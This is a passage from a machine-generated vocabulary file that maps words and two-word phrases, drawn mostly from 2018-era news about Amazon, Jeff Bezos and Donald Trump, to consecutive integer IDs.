"true detective": 136332, "additional flights": 136333, "guest columnist": 136334, "copyright piracy": 136335, "2018 sent": 136336, "justice inspector": 136337, "new risk": 136338, "playing new": 136339, "fair bit": 136340, "drug runners": 136341, "legislative recommendations": 136342, "official televised": 136343, "youtube business": 136344, "exact moment": 136345, "gop candidate": 136346, "pentagon initiative": 136347, "moving work": 136348, "walmart ecommerce": 136349, "evaluate acquiring": 136350, "taxation opines": 136351, "power regarding": 136352, "sickening comment": 136353, "monetization": 136354, "wages remain": 136355, "book griffith": 136356, "exploratory space": 136357, "campaign cash": 136358, "uncouth business": 136359, "employees retirement": 136360, "unreasonably good": 136361, "direct result": 136362, "kwelkernbc": 136363, "business videoid": 136364, "gap governor": 136365, "street amazon": 136366, "incitement": 136367, "federal taxation": 136368, "savings constrained": 136369, "youtube announced": 136370, "specific locations": 136371, "pentagon ahead": 136372, "violating 2015": 136373, "rep bob": 136374, "hate bezos": 136375, "socially attuned": 136376, "big dealmaker": 136377, "scrap moratorium": 136378, "amazonclarity": 136379, "featured image": 136380, "black student": 136381, "consumers homes": 136382, "telecoms": 136383, "ongoing struggle": 136384, "lunch think": 136385, "public enemy": 136386, "severely criticized": 136387, "markets respect": 136388, "year rumors": 136389, "presidency covered": 136390, "gaining control": 136391, "adp": 136392, "fleet clark": 136393, "fewest": 136394, "spiritual specialists": 136395, "slowly begins": 136396, "missive": 136397, "final weeks": 136398, "equal partner": 136399, "amazon broadcasting": 136400, "say governor": 136401, "high number": 136402, "trustworthy amazon": 136403, "uses verify": 136404, "suspense": 136405, "just collecting": 136406, "additionally talked": 136407, "trump topic": 136408, "helps address": 136409, "enormous sum": 136410, "effect moniker": 136411, "constant surveillance": 136412, "invest given": 136413, "trump longtime": 136414, "sheer size": 136415, "venerated": 136416, "longstanding complaints": 136417, "trump urged": 136418, "outer": 136419, "knows greene": 136420, "agric": 136421, "usps transaction": 136422, "influence did": 136423, "chinese naval": 136424, "danbury connecticut": 136425, "delta": 136426, "investors rich": 136427, "kentucky milk": 136428, "mtp remembering": 136429, "feedback": 136430, "including alexa": 136431, "chicago violent": 136432, "eu privacy": 136433, "project called": 136434, "quite aptly": 136435, "described supporter": 136436, "350 million": 136437, "refugees human": 136438, "gps panel": 136439, "blackmail divided": 136440, "petitioned": 136441, "washington welcome": 136442, "larger corporations": 136443, "attribute trump": 136444, "pushing technology": 136445, "husband luke": 136446, "free pre": 136447, "mojo list": 136448, "plan senate": 136449, "report describes": 136450, "cramer feels": 136451, "teeing": 136452, "fiction donald": 136453, "transition language": 136454, "tv personality": 136455, "florida violent": 136456, "laundering funds": 136457, "largest reef": 136458, "deposited 250": 136459, "expect trump": 136460, "privatizers includes": 136461, "high attendance": 136462, "losing rear": 136463, "trump achievements": 136464, "cronyism bezos": 136465, "school expenses": 136466, "crash oscars": 136467, "paychecks nyt": 136468, "logo": 136469, "americans avoid": 136470, "publishes op": 136471, "deficit soars": 136472, "guess just": 136473, "pen american": 136474, "sur": 136475, "thoughtfully laid": 136476, "trump wisecracked": 136477, "direct tax": 136478, "bezos investments": 136479, "cross posted": 136480, "recently issued": 136481, "benavides": 136482, "education student": 136483, "additional cost": 136484, "beast trump": 136485, "2678011 walmart": 136486, "marc northern": 136487, "sudden political": 136488, "group euronext": 136489, "technologies widely": 136490, "bell investment": 136491, "scenario": 136492, "adopts": 136493, "actual tweets": 136494, "book platforms": 136495, "movement afoot": 136496, "including category": 136497, "illegal immoral": 136498, "story toss": 136499, "mossad": 136500, "800 975": 136501, "trump nomination": 136502, "predictable trappings": 136503, "wrong policy": 136504, "elementary students": 136505, "prosperity": 136506, "intimidate immigrant": 136507, "america democracy": 136508, "outside shippers": 136509, "maxwell senior": 136510, "things love": 136511, "reports cases": 136512, "foto sourcedaniel": 136513, "lawyer threatened": 136514, "royal duties": 136515, "154 billion": 136516, "john hancock": 136517, "23rd assembly": 136518, "trump tabloid": 136519, "chaya": 136520, "says china": 136521, "holt 56m": 136522, "untireless effort": 136523, "settings": 136524, "forbes story": 136525, "cryptic": 136526, "skew politically": 136527, "having committed": 136528, "dogs": 136529, "fictional podcast": 136530, "false attacks": 136531, "airports including": 136532, "wisconsin deal": 136533, "story aclu": 136534, "researching": 136535, "representative elect": 136536, "abuse atlantic": 136537, "cohen did": 136538, "residents support": 136539, "jen": 136540, "billion sits": 136541, "photos mansion": 136542, "released later": 136543, "president insistence": 136544, "snuffs": 136545, "lot easier": 136546, "issues": 136547, "data transfer": 136548, "lavish michael": 136549, "left key": 136550, "massive market": 136551, "examined according": 136552, "safari": 136553, "threat bolsonaro": 136554, "political leverage": 136555, "build yes": 136556, "time saudis": 136557, "amazon following": 136558, "mean lot": 136559, "blasts iran": 136560, "employees fall": 136561, "jenniferjjacobs": 136562, "public domain": 136563, "chryslers stocks": 136564, "comments texas": 136565, "thefts": 136566, "house gifts": 136567, "revelatory post": 136568, "0515et copyright": 136569, "villians": 136570, "moguls": 136571, "latrice walker": 136572, "yvonne hemsey": 136573, "writer iannucci": 136574, "brennan pottsville": 136575, "list president": 136576, "sector weighed": 136577, "highly politically": 136578, "resonating new": 136579, "senate investigators": 136580, "abandonment": 136581, "libertarian dream": 136582, "straight hours": 136583, "apparently national": 136584, "exercise": 136585, "primary communications": 136586, "sentences newsletter": 136587, "adapted excerpt": 136588, "economic success": 136589, "milks wisconsin": 136590, "political pressures": 136591, "antitrust policy": 136592, "site crashed": 136593, "news yield": 136594, "waging battle": 136595, "day win": 136596, "cogdill": 136597, "utility experts": 136598, "watch closely": 136599, "handsomely": 136600, "wasteful": 136601, "senators collins": 136602, "avion": 136603, "consumption": 136604, "business stating": 136605, "poor brick": 136606, "running bending": 136607, "750 000": 136608, "hold powerful": 136609, "library": 136610, "service spreads": 136611, "greg davies": 136612, "ops": 136613, "agencies nomiki": 136614, "center": 136615, "competitor contacted": 136616, "lettuce": 136617, "important emerging": 136618, "unadorned": 136619, "scale jen": 136620, "especially kamala": 136621, "help solve": 136622, "tweeted support": 136623, "subtle": 136624, "bluefly foto": 136625, "runs deep": 136626, "commission assumed": 136627, "growing amazon": 136628, "usa member": 136629, "follow looking": 136630, "signed secrecy": 136631, "photos sent": 136632, "company deciding": 136633, "morrow ny": 136634, "sex scandals": 136635, "today board": 136636, "final approval": 136637, "capsule new": 136638, "infants including": 136639, "americans challenge": 136640, "main vehicle": 136641, "cynical partners": 136642, "drug paraphernalia": 136643, "history donald": 136644, "queens senate": 136645, "words merrick": 136646, "poirer": 136647, "rogue": 136648, "game list": 136649, "assembled task": 136650, "amazon navigate": 136651, "cloud watchers": 136652, "mentioned previously": 136653, "logistics company": 136654, "anchors": 136655, "trustees": 136656, "carousel jquery": 136657, "prices nearly": 136658, "house specifically": 136659, "alan murray": 136660, "bezos selling": 136661, "canada chic": 136662, "1040253796293795842 photo": 136663, "composition notebook": 136664, "borders": 136665, "biggest win": 136666, "bezos continues": 136667, "jerrold": 136668, "awoken": 136669, "products tech": 136670, "actually possible": 136671, "ranked slightly": 136672, "current form": 136673, "near paris": 136674, "rep jason": 136675, "files new": 136676, "reverberating": 136677, "issues given": 136678, "2017 south": 136679, "personality lauren": 136680, "famed activist": 136681, "hud rule": 136682, "taking closer": 136683, "rep wrote": 136684, "deal democratic": 136685, "pluribus": 136686, "produces funny": 136687, "trump loyalty": 136688, "blends whips": 136689, "bashing amazon": 136690, "lobbying apparatuses": 136691, "want security": 136692, "stereo": 136693, "2000 later": 136694, "service subcommittee": 136695, "botched attempt": 136696, "hollywood toughest": 136697, "potential increases": 136698, "pryoesshex brian": 136699, "big developments": 136700, "year owing": 136701, "amazon haven": 136702, "xcel": 136703, "choi upcoming": 136704, "capitalism lionel": 136705, "link news": 136706, "joe ricketts": 136707, "wh reaction": 136708, "harassment discrimination": 136709, "elections coming": 136710, "budgets xxxtentacion": 136711, "stationed": 136712, "largess": 136713, "blood added": 136714, "traveller": 136715, "woo urges": 136716, "washington big": 136717, "sessions meeting": 136718, "sprinting": 136719, "votes tennessee": 136720, "polarizing figure": 136721, "watts": 136722, "heat": 136723, "tailors": 136724, "quotations": 136725, "akin gump": 136726, "sanders schumer": 136727, "follow markgongloff": 136728, "xe": 136729, "video games": 136730, "stevenson treasure": 136731, "eig org": 136732, "recommend": 136733, "media remarks": 136734, "months alphabet": 136735, "portfolio girard": 136736, "magazine asked": 136737, "deserves scrutiny": 136738, "amazon fears": 136739, "millions jackpot": 136740, "department allowed": 136741, "today times": 136742, "shared obligation": 136743, "away bezos": 136744, "distant future": 136745, "insurance industry": 136746, "repainted": 136747, "stock hit": 136748, "trump shut": 136749, "families lose": 136750, "dhs database": 136751, "gibbons": 136752, "repeatedly criticizing": 136753, "year monopoly": 136754, "center look": 136755, "electronics": 136756, "administration discuss": 136757, "sports medicine": 136758, "drastically declined": 136759, "reid secondo": 136760, "mass asks": 136761, "quietly hoovering": 136762, "little house": 136763, "creativity wonder": 136764, "cruise ship": 136765, "expanding licensed": 136766, "michael described": 136767, "obamacare fix": 136768, "praising jarrett": 136769, "earlier according": 136770, "treasurer richard": 136771, "wearing bald": 136772, "differs": 136773, "expenses mainly": 136774, "employers steal": 136775, "don abuse": 136776, "hamas rains": 136777, "posed smirking": 136778, "pathology": 136779, "hypothesis round": 136780, "useful straw": 136781, "queens issue": 136782, "alcoholic versions": 136783, "proxy firms": 136784, "sarcastically offered": 136785, "die": 136786, "fleet operators": 136787, "house assigned": 136788, "delving": 136789, "merciful": 136790, "trade relationship": 136791, "did herera": 136792, "true inc_display_video_at_bottomflag": 136793, "schiff poised": 136794, "thing settled": 136795, "netflix blackkklansman": 136796, "trump pic": 136797, "rape": 136798, "r\u00e9gime": 136799, "software solution": 136800, "adalynn sooter": 136801, "businesses potus": 136802, "companies leave": 136803, "job training": 136804, "weather kansas": 136805, "happen sooner": 136806, "thesenate maybe": 136807, "firefighters": 136808, "washington bureaucracy": 136809, "embroidery": 136810, "bad white": 136811, "growing think": 136812, "apathy won": 136813, "myselfie": 136814, "controversy surrounding": 136815, "digital assistants": 136816, "moves bitcoin": 136817, "multiple online": 136818, "nearly driver": 136819, "john markey": 136820, "multiyear highs": 136821, "york politicians": 136822, "support click": 136823, "honestly say": 136824, "best example": 136825, "malik points": 136826, "domestic market": 136827, "moving closer": 136828, "reilly": 136829, "administration trade": 136830, "2000 img_tags": 136831, "hits florence": 136832, "270 challenging": 136833, "instance consumers": 136834, "negotiators saying": 136835, "news item": 136836, "facebook hate": 136837, "pact reached": 136838, "don allude": 136839, "exploration synonymous": 136840, "price discount": 136841, "americans available": 136842, "rick newman": 136843, "varney": 136844, "democratic politician": 136845, "isvideoreplayclicked": 136846, "called michael": 136847, "day pitch": 136848, "intrigue investors": 136849, "bipartisanship": 136850, "prepared dossier": 136851, "secret ingredients": 136852, "ring oscars": 136853, "remote indian": 136854, "temporarily exceeded": 136855, "read simon": 136856, "amortizations": 136857, "program independent": 136858, "week blaming": 136859, "nightmare memphis": 136860, "install google": 136861, "blue glinted": 136862, "happy home": 136863, "including disconnected": 136864, "hill medical": 136865, "loathing": 136866, "companies given": 136867, "american parent": 136868, "libby": 136869, "amazon wage": 136870, "canceled acosta": 136871, "added prestigious": 136872, "partisan tensions": 136873, "sellers pvt": 136874, "breeze": 136875, "violent crash": 136876, "company financial": 136877, "trump practically": 136878, "network yes": 136879, "80s village": 136880, "predictive analytics": 136881, "2018 trump": 136882, "habits kill": 136883, "company imdb": 136884, "green egg": 136885, "perceived opponent": 136886, "blurb calling": 136887, "artemis": 136888, "revoking clearances": 136889, "amazon davidson": 136890, "bartiromo humans": 136891, "deportation atlanta": 136892, "1798": 136893, "eric walsh": 136894, "officials journalists": 136895, "sensing lantern": 136896, "known trump": 136897, "russia continues": 136898, "corrosive signal": 136899, "host guest": 136900, "minister tereza": 136901, "frequently calls": 136902, "enables mobile": 136903, "council producer": 136904, "chief privacy": 136905, "weren taxed": 136906, "partially reinvented": 136907, "chairman chuck": 136908, "sciences 1q": 136909, "published weekdays": 136910, "writers": 136911, "000 deduction": 136912, "anonymous told": 136913, "post fang": 136914, "goodlatte va": 136915, "thanks greer": 136916, "1995 2005": 136917, "announcing new": 136918, "1n7u5sb california": 136919, "white rabbits": 136920, "collection public": 136921, "trump doubles": 136922, "sfly": 136923, "strongly hinting": 136924, "barclays forecast": 136925, "bachelor star": 136926, "industry biggest": 136927, "acosta": 136928, "committee president": 136929, "revenue dear": 136930, "sued passenger": 136931, "somebody close": 136932, "jim acostas": 136933, "apparel maker": 136934, "loading driving": 136935, "told johnson": 136936, "invitation": 136937, "life 2018": 136938, "just miles": 136939, "reality gloves": 136940, "cape": 136941, "hold rating": 136942, "adweek amazon": 136943, "common elements": 136944, "infidelity murky": 136945, "health programs": 136946, "investigation 2018": 136947, "shape lucrative": 136948, "nba finals": 136949, "site vaxxed": 136950, "unflattering items": 136951, "right price": 136952, "resolving vexing": 136953, "pret": 136954, "sign production": 136955, "usps rates": 136956, "bizarre billionaire": 136957, "trump biographer": 136958, "fil applebee": 136959, "composer": 136960, "consumers collateral": 136961, "furnishings": 136962, "suspect new": 136963, "views president": 136964, "industry observers": 136965, "rourke described": 136966, "advertising based": 136967, "telephone interview": 136968, "ko": 136969, "time melina": 136970, "app boeing": 136971, "crisis doesnt": 136972, "free express": 136973, "interesting morsels": 136974, "gives agencies": 136975, "jurisdiction simons": 136976, "ultimately fascinating": 136977, "taxes tweet": 136978, "divorce proceedings": 136979, "piggybacking": 136980, "rivals depend": 136981, "change nbc": 136982, "pledged us2": 136983, "collapse amazon": 136984, "financial illiteracy": 136985, "hq2 bid": 136986, "gary shteyngart": 136987, "mystate": 136988, "emailed statement": 136989, "reposition": 136990, "fetal": 136991, "west managed": 136992, "rain coat": 136993, "cat litter": 136994, "yeah yeah": 136995, "000 worth": 136996, "new embassies": 136997, "discrepancies": 136998, "convince long": 136999, "loves football": 137000, "know hacks": 137001, "dw": 137002, "bob van": 137003, "sincero": 137004, "general democratic": 137005, "slams social": 137006, "twitter declined": 137007, "especially beef": 137008, "nvidia staggering": 137009, "thieves foiled": 137010, "suppress allegations": 137011, "bartlett declined": 137012, "action continue": 137013, "mention rising": 137014, "stories google": 137015, "temporary coupled": 137016, "select headlines": 137017, "globally pretending": 137018, "dissolve community": 137019, "areas related": 137020, "firms invest": 137021, "thai": 137022, "just new": 137023, "agent named": 137024, "wework staff": 137025, "dromm according": 137026, "trust portfolio": 137027, "patent trolling": 137028, "pose existential": 137029, "eccentric hippy": 137030, "jennifer pignolet": 137031, "centers worldwide": 137032, "cnn media": 137033, "l8 b8": 137034, "local causes": 137035, "things bezos": 137036, "filters": 137037, "amazon charged": 137038, "r8": 137039, "notes trump": 137040, "quote unquote": 137041, "technology needs": 137042, "traditional grant": 137043, "shoppers additionally": 137044, "reporting net": 137045, "wholesale fish": 137046, "big deal": 137047, "fbi doj": 137048, "reduce congestion": 137049, "aggregation": 137050, "raises despite": 137051, "sam kass": 137052, "refurbished apple": 137053, "overreach amazon": 137054, "tine avalon": 137055, "huge personal": 137056, "team increasingly": 137057, "americans wages": 137058, "net": 137059, "single woman": 137060, "did attempt": 137061, "follow marketwatch": 137062, "elevated percentile": 137063, "summer sen": 137064, "apple day": 137065, "antagonize liberals": 137066, "vulnerabilities": 137067, "house speaker": 137068, "power cables": 137069, "magas": 137070, "vu": 137071, "tech genius": 137072, "occ announced": 137073, "students skip": 137074, "ceo reveals": 137075, "database": 137076, "portable equally": 137077, "ami employees": 137078, "amazon 10bn": 137079, "promote freedom": 137080, "karapatan surigao": 137081, "crime published": 137082, "kind undocublack": 137083, "hugh hewitt": 137084, "jeff dunham": 137085, "login nonetheless": 137086, "renewals": 137087, "splitting facebook": 137088, "agencies chair": 137089, "time building": 137090, "align stock": 137091, "trump reading": 137092, "rangers": 137093, "isn dirt": 137094, "ultramillionaires tax": 137095, "recent letter": 137096, "service cost": 137097, "pair massive": 137098, "trumpian tyranny": 137099, "inflation data": 137100, "seek refuge": 137101, "trump voice": 137102, "andre dre": 137103, "used tear": 137104, "related unexpected": 137105, "2018 net": 137106, "tax dodgers": 137107, "union officials": 137108, "amazon worldwide": 137109, "votetuesday usmidterms": 137110, "report calls": 137111, "letter included": 137112, "tom giles": 137113, "corporation proposal": 137114, "occasions final": 137115, "resolutely carrying": 137116, "hyphen differentiates": 137117, "maximale": 137118, "miami joe": 137119, "reuters reports": 137120, "bangkok": 137121, "red holographic": 137122, "illegally traffic": 137123, "canadian private": 137124, "giant split": 137125, "help appease": 137126, "post writers": 137127, "rentseeking": 137128, "single review": 137129, "ultra rich": 137130, "outlet sign": 137131, "controversial paulo": 137132, "temper tantrums": 137133, "calling bipartisanship": 137134, "new international": 137135, "album wanderer": 137136, "fairness": 137137, "andreessen": 137138, "market 2018": 137139, "j5nvfsumpt": 137140, "created hollywood": 137141, "handle trump": 137142, "warned": 137143, "novel super": 137144, "gotten taste": 137145, "executive speak": 137146, "censoring conservative": 137147, "huge runs": 137148, "standard political": 137149, "pies": 137150, "vicious cycle": 137151, "pseudo populist": 137152, "jobs firstborn": 137153, "doing stupid": 137154, "scott sonner": 137155, "political elections": 137156, "seemingly clear": 137157, "content created": 137158, "statements months": 137159, "gop cultural": 137160, "answer posted": 137161, "wesfarmers annual": 137162, "kit alexa": 137163, "enforce punishment": 137164, "monopoly reference": 137165, "accusing france": 137166, "thicker": 137167, "23rd": 137168, "local logistics": 137169, "chinese core": 137170, "webster college": 137171, "just shy": 137172, "trump rose": 137173, "activity bezos": 137174, "opaque process": 137175, "amazons platform": 137176, "divorce sanchez": 137177, "allows": 137178, "praise tabernacle": 137179, "org jim": 137180, "stipulated": 137181, "prevail": 137182, "recently nominated": 137183, "annexing": 137184, "nathaniel": 137185, "card businesses": 137186, "lisota connected": 137187, "reduce innovation": 137188, "income north": 137189, "drum day": 137190, "day john": 137191, "markay revealed": 137192, "stock availability": 137193, "nation critics": 137194, "ehealth newsletter": 137195, "book penguin": 137196, "day period": 137197, "rucker": 137198, "quake delivery": 137199, "today news": 137200, "buffett explains": 137201, "biggest electoral": 137202, "amazon leadership": 137203, "avoid financial": 137204, "penises": 137205, "campaign staffers": 137206, "entire": 137207, "pharmaceutical distribution": 137208, "breaking sweat": 137209, "biggie apple": 137210, "recallproximic": 137211, "lindsay stern": 137212, "researcher work": 137213, "widespread fear": 137214, "million books": 137215, "x2x r8": 137216, "body politic": 137217, "offer boockvar": 137218, "johnson financial": 137219, "argento": 137220, "photo toronto": 137221, "enforcement actions": 137222, "court trial": 137223, "donkeys": 137224, "congressmen steve": 137225, "hangs": 137226, "bezos led": 137227, "reflected survey": 137228, "offline world": 137229, "things happening": 137230, "raymond james": 137231, "teresa": 137232, "doing gasparino": 137233, "budget process": 137234, "entire process": 137235, "company handles": 137236, "___ trump": 137237, "8217 twitter": 137238, "patriots aaron": 137239, "lingering aftermath": 137240, "welcome cancelkavanugh": 137241, "marrying": 137242, "emanuel klieger": 137243, "matthew shepherd": 137244, "challenge 100": 137245, "2025 world": 137246, "operating margins": 137247, "danger according": 137248, "shies away": 137249, "amazon quantum": 137250, "calculation according": 137251, "algorithms software": 137252, "premieres": 137253, "service plan": 137254, "681 shares": 137255, "suppress damaging": 137256, "responsibility csr": 137257, "group gartner": 137258, "loyalty sold": 137259, "pension costs": 137260, "theory touches": 137261, "entirely possible": 137262, "inflict damage": 137263, "established procedure": 137264, "theft colorado": 137265, "getelementbyid containerid": 137266, "euro oejeff": 137267, "oscars victory": 137268, "revenue says": 137269, "mandates court": 137270, "patient condition": 137271, "did conclude": 137272, "futures fell": 137273, "literal book": 137274, "remains unexplained": 137275, "generation simply": 137276, "announced round": 137277, "copies worldwide\u0430before": 137278, "politico report": 137279, "single credible": 137280, "400 amazon": 137281, "weekly hutchinson": 137282, "utero": 137283, "amzn toyota": 137284, "service based": 137285, "eli lake": 137286, "theft ruling": 137287, "implement certain": 137288, "immigration bezos": 137289, "2018 looking": 137290, "yes think": 137291, "publishes": 137292, "new submarine": 137293, "161 shares": 137294, "unions fear": 137295, "22201": 137296, "loses mainly": 137297, "located aws": 137298, "governor lael": 137299, "lower health": 137300, "malinowski new": 137301, "statute": 137302, "website pushing": 137303, "bono offer": 137304, "programme called": 137305, "fight tooth": 137306, "opinion sic": 137307, "president equates": 137308, "nily": 137309, "efficiently reach": 137310, "effort assembly": 137311, "thing digital": 137312, "current_video_collection gigyashareelement": 137313, "state university": 137314, "average returns": 137315, "flotation": 137316, "replacestate": 137317, "officials meeting": 137318, "amazon slimy": 137319, "debunked": 137320, "final trump": 137321, "velvet buzzsaw": 137322, "best statesmen": 137323, "recode want": 137324, "fuggedaboutit": 137325, "trumpgodking": 137326, "bundled internet": 137327, "surplus": 137328, "committee day": 137329, "europe laura": 137330, "kenya uganda": 137331, "questions directly": 137332, "dell": 137333, "business cashing": 137334, "stone throw": 137335, "certainly lose": 137336, "million members": 137337, "ap tv": 137338, "content included": 137339, "relations act": 137340, "investment opportunity": 137341, "crisis grows": 137342, "calla": 137343, "won impact": 137344, "curt schilling": 137345, "brien conan": 137346, "possible nbc": 137347, "world instead": 137348, "vulnerability remains": 137349, "goldman says": 137350, "city bombing": 137351, "federal income": 137352, "investment principles": 137353, "divides dems": 137354, "official teaser": 137355, "invented new": 137356, "chains crumbling": 137357, "revolves": 137358, "janofsky": 137359, "vasquez": 137360, "israeli spyware": 137361, "mean falling": 137362, "maybe anticipating": 137363, "bags amazon": 137364, "abdullah alomran": 137365, "owned stations": 137366, "typically bad": 137367, "answered joe": 137368, "long expansion": 137369, "leen": 137370, "congressional delegation": 137371, "democratic ideals": 137372, "attend grenfell": 137373, "reinterpretation": 137374, "46hrnjigkz": 137375, "presses charges": 137376, "informed management": 137377, "o2x z8": 137378, "unflinching look": 137379, "various nonprofits": 137380, "really believe": 137381, "loudenback": 137382, "news tip": 137383, "world net": 137384, "lenard": 137385, "military family": 137386, "democrats set": 137387, "lump": 137388, "maker apple": 137389, "prosecutor rob": 137390, "oprah winfrey": 137391, "contemporaneousnotes": 137392, "artists": 137393, "8chan": 137394, "valuator": 137395, "deliver alpha": 137396, "sackler head": 137397, "aws microsoft": 137398, "christiansen congress": 137399, "dj": 137400, "owner paper": 137401, "pushes gates": 137402, "shifting shadows": 137403, "accepting compensation": 137404, "sharing moment": 137405, "west themed": 137406, "california representative": 137407, "sears aldi": 137408, "development ricardo": 137409, "story downtown": 137410, "children despite": 137411, "nam": 137412, "right jim": 137413, "significant revenue": 137414, "passage city": 137415, "suggested restructuring": 137416, "completes 255": 137417, "wounded soldier": 137418, "autumn": 137419, "source cnn": 137420, "frozen remember": 137421, "ongoing navarro": 137422, "playlists stories": 137423, "contract consideration": 137424, "hurricane winds": 137425, "trump presumptive": 137426, "different politicians": 137427, "current trouble": 137428, "harvard business": 137429, "sued buzzfeed": 137430, "included seniors": 137431, "leaps": 137432, "abercrombie": 137433, "goods online": 137434, "thomas clees": 137435, "story taxpayers": 137436, "gradually raising": 137437, "technology arguing": 137438, "err": 137439, "protected environmental": 137440, "4_5 ad": 137441, "causes": 137442, "amazon insists": 137443, "house bipartisan": 137444, "china key": 137445, "gain says": 137446, "dependent": 137447, "amazon appears": 137448, "crime family": 137449, "just getting": 137450, "big morning": 137451, "pennsylvania": 137452, "amzn announces": 137453, "infested building": 137454, "advisory reported": 137455, "amazon cancelling": 137456, "extent amazon": 137457, "oppositional": 137458, "monopo smartsheet": 137459, "group premier": 137460, "experts consulting": 137461, "lines ar": 137462, "publishing tokyo": 137463, "news pbs": 137464, "bardella": 137465, "house voted": 137466, "shopping expert": 137467, "automate": 137468, "amazon lobbied": 137469, "ignore amazon": 137470, "activist businesswoman": 137471, "acumen trump": 137472, "school khan": 137473, "ugly behavior": 137474, "wall 2019": 137475, "___ amazon": 137476, "stabilize 2018": 137477, "hamburg": 137478, "destruction skeptical": 137479, "t9x e0": 137480, "office donald": 137481, "observing minute": 137482, "assocs": 137483, "organic": 137484, "messages naturally": 137485, "living antibiotics": 137486, "rescue workers": 137487, "acquaintance david": 137488, "big president": 137489, "london court": 137490, "tech bull": 137491, "cps improve": 137492, "class letter": 137493, "reportedly calling": 137494, "bandar": 137495, "callista": 137496, "videx": 137497, "2018 according": 137498, "issuance": 137499, "180 day": 137500, "hosts resistance": 137501, "800 business": 137502, "rates soon": 137503, "class 2015": 137504, "entrepreneur entitled": 137505, "correct": 137506, "muse inside": 137507, "closing stores": 137508, "technology necessary": 137509, "outlook remains": 137510, "high temps": 137511, "new measure": 137512, "recent antitrust": 137513, "huge companies": 137514, "company famously": 137515, "books chart": 137516, "ago changed": 137517, "drives people": 137518, "encryption data": 137519, "china morning": 137520, "false information": 137521, "journal noted": 137522, "weigh reuters": 137523, "board chair": 137524, "ceo equity": 137525, "international allies": 137526, "height 439": 137527, "campaign colluded": 137528, "insider brown": 137529, "reports breakthrough": 137530, "western innovations": 137531, "sotheby": 137532, "including offline": 137533, "safety commerce": 137534, "daily users": 137535, "popular support": 137536, "pa": 137537, "heavy usage": 137538, "garden products": 137539, "wcs encana": 137540, "unnecessary fear": 137541, "initially delivered": 137542, "lawsuit did": 137543, "market real": 137544, "flavors beautiful": 137545, "trump stands": 137546, "generation smart": 137547, "signify": 137548, "homophobic remarks": 137549, "user searches": 137550, "doubtlessly anti": 137551, "gates initially": 137552, "adversely impact": 137553, "courts raising": 137554, "lawsuit wh": 137555, "meghann myers": 137556, "political motive": 137557, "trajectory inspired": 137558, "elizabeth dexheimer": 137559, "squishy pods": 137560, "recognize israel": 137561, "retailer fleet": 137562, "campground": 137563, "helped defray": 137564, "hate groups": 137565, "page story": 137566, "campaign worth": 137567, "resources alas": 137568, "delivery cronyism": 137569, "meals sold": 137570, "major pr": 137571, "hack marriott": 137572, "nearly 000": 137573, "network recent": 137574, "265 000": 137575, "university posted": 137576, "protecting indigenous": 137577, "crusty rice": 137578, "priscilla chan": 137579, "raphael explains": 137580, "jeffrey james": 137581, "executive clifton": 137582, "retail folding": 137583, "resolution passes": 137584, "tv devices": 137585, "popular water": 137586, "wasn solely": 137587, "certainly going": 137588, "wing repeatedly": 137589, "utility vehicle": 137590, "fb amazon": 137591, "castle available": 137592, "frankenstein": 137593, "stadiums": 137594, "club best": 137595, "amazon storefronts": 137596, "concealing details": 137597, "city long": 137598, "announcement nears": 137599, "chain experience": 137600, "wants washington": 137601, "farmworkers fair": 137602, "globes8 pictures": 137603, "instead amazon": 137604, "good margins": 137605, "page turner": 137606, "seasonally": 137607, "reason rock": 137608, "specific infraction": 137609, "week criticizing": 137610, "sotheby ceo": 137611, "sue drug": 137612, "new abortion": 137613, "control amazon": 137614, "campaign stops": 137615, "drumpf": 137616, "worship": 137617, "coming legal": 137618, "enquirer teased": 137619, "tide officially": 137620, "blames marxist": 137621, "lana powell": 137622, "open bidding": 137623, "ashok": 137624, "economy chicago": 137625, "major topic": 137626, "criticism particularly": 137627, "rural residents": 137628, "distributed manufacturing": 137629, "york time": 137630, "expected difficult": 137631, "used public": 137632, "rost": 137633, "gianforte won": 137634, "slavishly": 137635, "shows thousands": 137636, "hypothesis": 137637, "considered experts": 137638, "scientology founder": 137639, "bullseye": 137640, "fell apart": 137641, "capito member": 137642, "challenges paying": 137643, "deeply": 137644, "washington cape": 137645, "wealth inequality": 137646, "running": 137647, "rivaling": 137648, "prevented higher": 137649, "chief marketing": 137650, "singular fix": 137651, "years loopholes": 137652, "gucci accusations": 137653, "maker ring": 137654, "punish political": 137655, "losing fortune": 137656, "test pilot": 137657, "billion despite": 137658, "peterson reports": 137659, "did publish": 137660, "want campaign": 137661, "invested money": 137662, "grown rapidly": 137663, "pediatrics spanking": 137664, "schoolyard level": 137665, "giant stakes": 137666, "enjoyed bounce": 137667, "glide excited": 137668, "warned buyers": 137669, "appointees including": 137670, "comment google": 137671, "great west": 137672, "previews": 137673, "military forces": 137674, "big wins": 137675, "gives trump": 137676, "xxxxxxx": 137677, "account indicating": 137678, "local police": 137679, "greens": 137680, "latest fed": 137681, "premiere tech": 137682, "special message": 137683, "apocalyptic film": 137684, "sparked chaos": 137685, "luxembourg unit": 137686, "technology violating": 137687, "videogame company": 137688, "jared taylor": 137689, "higher immigration": 137690, "california justin": 137691, "atlanta mayor": 137692, "fiercely denied": 137693, "shipping amazon": 137694, "equal way": 137695, "corporate greed": 137696, "helps children": 137697, "generalised": 137698, "damaged skin": 137699, "underpins": 137700, "africa president": 137701, "experience undeterred": 137702, "raised 575": 137703, "size large": 137704, "000 800": 137705, "ministry subordinate": 137706, "henry greenberg": 137707, "labor minimum": 137708, "example landowner": 137709, "gop young": 137710, "group recently": 137711, "sanders joined": 137712, "close friends": 137713, "hq2 president": 137714, "toolbox": 137715, "horrifying": 137716, "opinion contributors": 137717, "updated tonya": 137718, "socialist council": 137719, "women alleging": 137720, "births according": 137721, "interactives philo": 137722, "financial loss": 137723, "housing crises": 137724, "continued worries": 137725, "doesn impact": 137726, "doing good": 137727, "rape emergency": 137728, "arkansas reporter": 137729, "fiction boom": 137730, "new cloud": 137731, "contract process": 137732, "candidate andrew": 137733, "office tweeting": 137734, "notable instance": 137735, "book writing": 137736, "generic ignorance": 137737, "looks sure": 137738, "point liesman": 137739, "composer cliff": 137740, "schools open": 137741, "focused impact": 137742, "represent nearly": 137743, "contacted amazon": 137744, "meet friends": 137745, "progeny": 137746, "different endings": 137747, "faulty facial": 137748, "fuzziest": 137749, "company chief": 137750, "internet marketplaces": 137751, "historic visit": 137752, "decidedly": 137753, "optimization amazon": 137754, "spokespeople": 137755, "safest web": 137756, "undercut amazon": 137757, "trump wields": 137758, "newsletter registration": 137759, "users behaviors": 137760, "destitute desperate": 137761, "fulks matthew": 137762, "collection": 137763, "supply service": 137764, "escalating trade": 137765, "senator schumer": 137766, "gaslighted": 